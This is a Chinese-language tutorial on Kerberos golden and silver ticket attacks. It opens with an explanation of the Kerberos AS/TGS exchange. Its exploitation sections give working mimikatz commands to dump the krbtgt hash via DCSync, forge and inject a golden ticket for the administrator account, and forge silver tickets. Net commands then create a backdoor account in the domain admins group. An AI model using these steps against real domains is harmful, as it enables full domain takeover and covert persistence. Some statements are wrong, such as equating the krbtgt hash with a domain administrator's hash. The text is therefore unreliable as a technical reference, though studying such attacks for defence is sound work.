黄金票据和白银票据

黄金票据和白银票据

  • 黄金票据是身份票据TGT,==使用域管理员账户哈希创建的身份票据才能够叫做黄金票据,==可以访问域内的所有服务。
  • 白银票据是服务票据SGT

PTH:哈希传递

PTT:票据传递(黄金票据和白银票据)

1. 背景

1、个人文件还是公司文件以及服务都存在于一台系统上,所有人都要去一台机器办公,效率非常低,为每个人分配了电脑以后就需要考虑安全问题

2、如何让服务器正确识别每一个人,假定所有数据包在传输过程中都可以被任意截取和修改

3、在每一台电脑上都存入所有人的账户密码是不现实的,所以引入一个认证服务统一管理所有的用户密码

4、假设用户访问邮件服务,认证服务让你提供密码以此来证明身份,它把你提供的密码和数据库中的密码相比较,通过认证,认证服务不会提供给你任何密码,不然下次你就可以不认证直接利用密码登录,认证服务会给你一张票,拿到票后,你把此票给邮件服务,以此来证明你的身份

5、需要解决的问题,每次使用还没有得到票的服务前,都必须给认证密码。比如使用邮件服务,就要输入一次。使用文件服务,又要输入一次。打印服务,还要输入一次,并且网络中明文传输密码。不法分子就可以监听网络流量获取密码。

6、引入”票据授权”服务(TGS),TGS将代替认证服务的发票功能,以后认证服务不在提供票据,如果你有TGS发放的服务票证,可以使用此票对应的服务

7、如果你通过了认证服务的验证,将会得到一张票据授权票(TGT),现在你想使用邮件服务,然而还没有邮件服务的票,所以你使用”票据授权”票去取邮件服务的票,”票据授权”票,可以使用此票获取你需要的其他服务票

8、解决密码明文传输,当你取得票据授权票时,不再发送密码,而只发送你的用户名,认证服务得到用户名以后用此用户名查你的密码,之后认证服务会制作一个包含票据授权票(TGT)的数据包,并且用你的密码加密此数据包,这样即使数据包被截取没有密码无法解密也获取不到TGT

9、票据的有效期问题,有效期内票据丢失会产生复用,并且没法灵活销毁票据

10、引入会话密钥session key ,认证服务,认证服务会返回票以及一份session key,都用用户的ntml加密,用户利用session key生成认证器来与服务进行沟通

2. 具体实现

  1. KDC 服务默认会安装在一个域的域控中;kerberos协议对于用户的认证在域控上有一个特殊的名称:KDC;KDC包括AS服务和TGS服务

    • AS服务下发身份票据TGT(黄金票据)
    • TGS服务下发服务票据SGT(白银票据)
  2. 从物理层面看,AD与KDC均为域控制器(Domain Controller),只有安装了AD服务那就是域控

  3. AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT

  4. KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值(KRBTGT哈希值:域内权限最高的域管理员的哈希值)。

黄金票据和白银票据_第1张图片

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:

The Authentication Service Exchange:Client 与 AS 的交互,

The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,

The Client/Server Authentication Exchange:Client 与 Server 的交互

2.1 kerberos协议认证流程

黄金票据和白银票据_第2张图片

1、客户端发送自己的用户名给AS


2AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息
	TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密
	TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密


3、用自己的NTML哈希解密TGT1,获得TGS服务器信息以及session key(as)TGT2由于是别人的哈希,所以解不开
	生成认证因子(客户端信息,当前时间)--session key(as)加密
	发送认证因子以及TGT2TGS服务


4TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端
	TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密
	TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密


5、客户端解密TGT3,得到session key(TGS),服务器信息
	生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密
	发送认证因子2以及TGT4给服务器


6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期
	利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务

3. 黄金票据

黄金票据就是伪造的身份票据TGT,AS返回的票据

3.1 条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

3.2 适用场景

由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码

3.3 利用方式

1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存

privilege::debug
lsadump::lsa /patch

黄金票据和白银票据_第3张图片

mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

黄金票据和白银票据_第4张图片

2、清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

3、导入票据

kerberos::ptt ticket.kirbi

4、创建域管

net user a !@#qwe123 /add /domain
net group "domain admins" a /add /domain

4. 白银票据

白银票据就是伪造的具体服务票据SGT,TGS返回的票据

4.1 条件

1.域名

2.域sid

3.目标服务器名

4.可利用的服务

5.服务账号的NTML HASH

6.需要伪造的用户名

4.2 适用场景

知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互

4.3 利用方式

伪造票据

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt

用户名可随意填写

黄金票据和白银票据_第5张图片

先使用mimikatz清空票据,再导入伪造的票据

5. 黄金票据和白银票据的区别

5.1 获得的权限不同

金票:伪造的身份票据TGT,可以获取任意Kerberos的访问权限

银票:伪造的服务票据SGT,只能访问指定的服务,如CIFS

5.2 认证流程不同

金票:同KDC交互,没有与AS直接交互

银票:不同KDC交互,直接访问Server

5.3 加密方式不同

金票:由krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

你可能感兴趣的:(php,服务器,开发语言,黄金票据,白银票据,网络安全,系统安全)